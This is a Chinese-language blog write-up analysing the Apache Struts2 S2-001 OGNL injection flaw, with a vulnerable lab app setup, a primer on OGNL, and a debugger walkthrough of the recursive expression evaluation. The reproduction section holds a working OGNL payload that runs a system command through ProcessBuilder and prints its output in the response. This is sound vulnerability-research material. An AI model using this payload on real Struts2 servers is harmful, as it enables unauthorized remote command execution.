s2-001 代码分析

环境搭建

Alt text

Alt text

pom.xml中加入

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>

Alt text

Alt text

Alt text

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
<package name="s2-001" extends="struts-default">
<action name="login" class="com.example.s2001.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">


<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

</web-app>

LoginAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example.s2001;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

Alt text

Alt text
访问 http://localhost:8888/s2_001_war_exploded/
Alt text

漏洞复现

username 随便填,password填poc,注意需要url编码

1
2
3
4
5
6
7
8
9
10
11
12
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}

效果如下
Alt text

预备知识-OGNL

s2的很多rce洞都是提交的ognl表达式被服务端解析执行而造成,有必要在之前先作一定的了解。

介绍

OGNL全称是对象视图导航语言(Object-Graph Navigation Language),它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL 的使用

传统的OGNL可以放一个Object到root,放一个Map到values(很多文章都叫它Context)。
Alt text

获取root、Context的值或执行其内部方法的方式都差不多,唯一的区别就是获取Context下的信息时需要加前缀#key@key(静态变量,静态方法),看下面例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package com.example.ognltest;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

import java.util.HashMap;
import java.util.Map;

public class OgnlTest {
public static void main(String[] args) throws OgnlException {
User.fun1();
}
}

class User {

private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public User(String name) {
this.name = name;
}
public static void fun1() throws OgnlException {
//准备root
User u1 = new User("user1");

//准备context
Map<String,User> context = new HashMap<String,User>();
context.put("key", new User("user2"));

//设置root和context
OgnlContext ognl = new OgnlContext();
ognl.setRoot(u1);
ognl.setValues(context);

//取出root中的数据,直接写属性名
String rootname = (String) Ognl.getValue("name", ognl, ognl.getRoot());
System.out.println(rootname);

//取出context中的属性值
//#代表从context中取值
String contextname = (String) Ognl.getValue("#key.name", ognl, ognl.getRoot());
System.out.println(contextname);

//修改root中数据
Ognl.getValue("name = 'user3'", ognl, ognl.getRoot());
rootname = (String) Ognl.getValue("name", ognl, ognl.getRoot());
System.out.println(rootname);

//修改context中数据
Ognl.getValue("#key.name = 'user4'", ognl, ognl.getRoot());
contextname = (String) Ognl.getValue("#key.name", ognl, ognl.getRoot());
System.out.println(contextname);

//调用root中方法
Ognl.getValue("setName('user5')", ognl, ognl.getRoot());
rootname = (String)Ognl.getValue("whoami()", ognl, ognl.getRoot());
System.out.println(rootname);

//调用context中方法
Ognl.getValue("#key.setName('user6')", ognl, ognl.getRoot());
contextname = (String)Ognl.getValue("#key.whoami()", ognl, ognl.getRoot());
System.out.println(contextname);

//调用静态方法
String funcreturnvalue = (String) Ognl.getValue("@com.example.ognltest.User@func2()", ognl, ognl.getRoot());
System.out.println(funcreturnvalue);

//调用静态属性
Double pi = (Double) Ognl.getValue("@java.lang.Math@PI", ognl, ognl.getRoot());
System.out.println(pi);

}
public String whoami(){
return "I'm " + this.name;
}
public static String func2(){
return "Call static method func2";
}
}

输入结果

1
2
3
4
5
6
7
8
user1
user2
user3
user4
I'm user5
I'm user6
Call static method func2
3.141592653589793

struts2中的OGNL

在Struts2 中有个值栈对象即ValueStack。而说得通俗些,这个值栈就是OgnlContext。ValueStack内部封装了一个CompoundRoot类型的对象作为root属性,CompoundRoot是一个继承ArrayList的栈存储结构。而所有被压入栈中的对象,都会被视为OGNL的Root对象。在使用OGNL计算表达式时,首先会将栈顶元素作为Root对象,进行表达式匹配,匹配不成功则会依次向下匹配,最后返回第一个成功匹配的表达式计算结果。因此,Struts2通过ValueStack实现了多Root对象的OGNL操作

当你提交一个请求,会为这个请求创建一个和web容器交互的ActionContext,与此同时会创建ValueStack,并置于ActionContext之中。而实例化Action之后,就会将这个action对象压入ValueStack中。在请求“映射”过程中,Struts2则是通过ParametersInterceptor拦截器将提交的参数值封装入对应的Action属性中。因此action实例可以作为OGNL的Root对象,对于Action中的属性、方法都可以使用OGNL来获取。

Alt text

代码分析

首先是下断点的位置,在自己尝试调试之前,读取了一些前人的文章,他们的断点的位置大部分都在
com/opensymphony/xwork2/interceptor/ParametersInterceptor.classdoIntercept方法上面。
Alt text

琢磨了一下断点打在ParametersInterceptor拦截器这里的好处

  • 不用调试tomcat自身的代码,这里下断点已是tomcat已经把“控制权”移交给strust之后了。
  • 拦截器只能对action请求起作用,而过滤器则可以对几乎所有的请求起作用(一开始想的是在web.xml中配置的struts2过滤器org.apache.struts2.dispatcher.FilterDispatcher处打断点)
  • ParametersInterceptor是拦截器,在这里下断点刚好是在执行业务逻辑之前,并且ParametersInterceptor是struts2的缺省会用到的拦截器之一。
  • ParametersInterceptor拦截器的作用是把传来的参数赋值给POJO,所以这里是payload“入侵”的起点。

Alt text
xx
Alt text

Alt text

接下来会进行很多tomcat的内部操作,这里单步跟进IDEA会找不到相应的代码,一开始卡这了,后来看了别人的文章也遇到过这种情况。
Alt text

文章提到多次步入,复现的时候一直至少跟了几十次步入也没跟到文章所述位置,估计实际搞要点几百次吧,直接定位到rg.apache.struts2.views.jsp.ComponentTagSupport下断点跳了。
Alt text

可以看出来这里实际上是解析jsp模版了,先解析的是jsp中username框,后解析的是password框,我们是从password传入的payload所以第一次先跳过。
最终触发点是在doEndTag时的操作,仔细看看
Alt text

eveluateParams处理传入的参数
Alt text

默认支持altSyntax,所以会把pssword变成%{password}当ogln表达式解析。(struts.tag.altSyntax 该属性指定是否允许在Struts 2标签中使用表达式语法,因为通常都需要在标签中使用表达式语法,故此属性应该设置为true,该属性的默认值是true)
Alt text

跟入addParameter时的findValue
Alt text

问题处在while True + Stack.findValue造成了对ogln的递归解析
Alt text

第一次,提取出%{password}内容即payload
Alt text

第二次,把提出来的payload再次当ognl表达式执行,触发RCE
Alt text

Alt text

参考

从零开始学习Struts2 S2-001
【Struts2-命令-代码执行漏洞分析系列】S2-001
IDEA中创建maven项目没有java和resources子文件的解决
OGNL
Struts2学习之OGNL表达式
JSP九大内置对象分析
S2-001调试分析

Author

李三(cl0und)

Posted on

2019-10-09

Updated on

2024-08-11

Licensed under